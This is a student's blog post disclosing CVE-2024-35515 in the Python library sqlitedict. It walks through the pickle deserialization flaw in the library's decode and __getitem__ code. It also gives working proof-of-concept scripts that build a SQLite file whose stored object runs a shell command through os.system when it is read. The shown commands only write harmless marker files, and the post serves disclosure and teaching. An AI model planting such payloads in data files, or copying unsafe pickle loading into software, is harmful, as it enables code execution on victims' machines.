My First CVE! Exploiting sqlitedict (CVE-2024-35515)

Before all

Impacted: sqlitedict <= 2.1.0

CVE-2024-35515

This vulnerability might cause via code excution locally.

I found out this vulnerability on 2024/05/07 while I was dealing with my school scientific project, and just reported it to TWCERT(They also have a service for cve reporting) the next day but got rejected because they only dealing with CVE about Taiwanese products. And I also sync this issue on github(But I guess the author won’t patch this vuln QwQ)

After that, I reported the same stuffs to MITRE, and received their reply on 2024/5/29.

Anyway, though this is not a BIG 0-day report, but is definitely a thrilling exprience for me, and give me lots of motivation!

How I exploit it?

pickle insecure deserialization

In a python class object, a __reduce__ method would be triggered with pickle.loads(deserialization) function.

So a malicious class dumped with pickle like this can cause via code excution when it loaded by pickle.loads.

1
2
3
4
5
6
7
8
9
10
11
# Exploit
import pickle
class Payload:
def __reduce__(self):
import os
return os.system, ('touch pwned.txt',)

payload=pickle.dumps(Payload())

# Victim
pickle.loads(payload)

code review with sqlitedict

https://github.com/piskvorky/sqlitedict/blob/master/sqlitedict.py

line 50~53
Importing dumps, loads function.

1
2
3
4
try:
from cPickle import dumps, loads, HIGHEST_PROTOCOL as PICKLE_PROTOCOL
except ImportError:
from pickle import dumps, loads, HIGHEST_PROTOCOL as PICKLE_PROTOCOL

line 120~127
The insecure encode/decode functions.

1
2
3
4
5
6
7
8
def encode(obj):
"""Serialize an object using pickle to a binary format accepted by SQLite."""
return sqlite3.Binary(dumps(obj, protocol=PICKLE_PROTOCOL))


def decode(obj):
"""Deserialize objects retrieved from SQLite."""
return loads(bytes(obj))

And finally, in class SqliteDict:

1
2
3
4
5
6
def __getitem__(self, key):
GET_ITEM = 'SELECT value FROM "%s" WHERE key = ?' % self.tablename
item = self.conn.select_one(GET_ITEM, (self.encode_key(key),))
if item is None:
raise KeyError(key)
return self.decode(item[0])

the self.decode function is same as the previous decode function.

And the __getitem__ method is called with an ‘aray-like’ identifying (for example : arr[1] is same as arr.__getitem__(1))

So I can generate a malicious sqlite file including the previous code excution pickle payload.

PoC_generator.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from sqlitedict import SqliteDict, encode, decode, decode_key
import pickle
import base64
import os

class Payload:
def __init__(self, cmd):
self.cmd=cmd
def __reduce__(self):
import os
return os.system, (self.cmd,)

payload = Payload('echo "pwned by whale120" > proof.txt')
db = SqliteDict("example.sqlite")
db["1"] = {"name":"whale120"}
db["2"] = payload
db.commit()
db.close()

PoC_open_sql.py

1
2
3
4
5
6
7
8
from sqlitedict import SqliteDict
db=SqliteDict('example.sqlite')
for key, item in db.items():
print("%s=%s" % (key, item))

f=open('proof.txt', 'r')
print('Content of proof.txt:')
print(f.read())

Result:

image

After all

owo?
image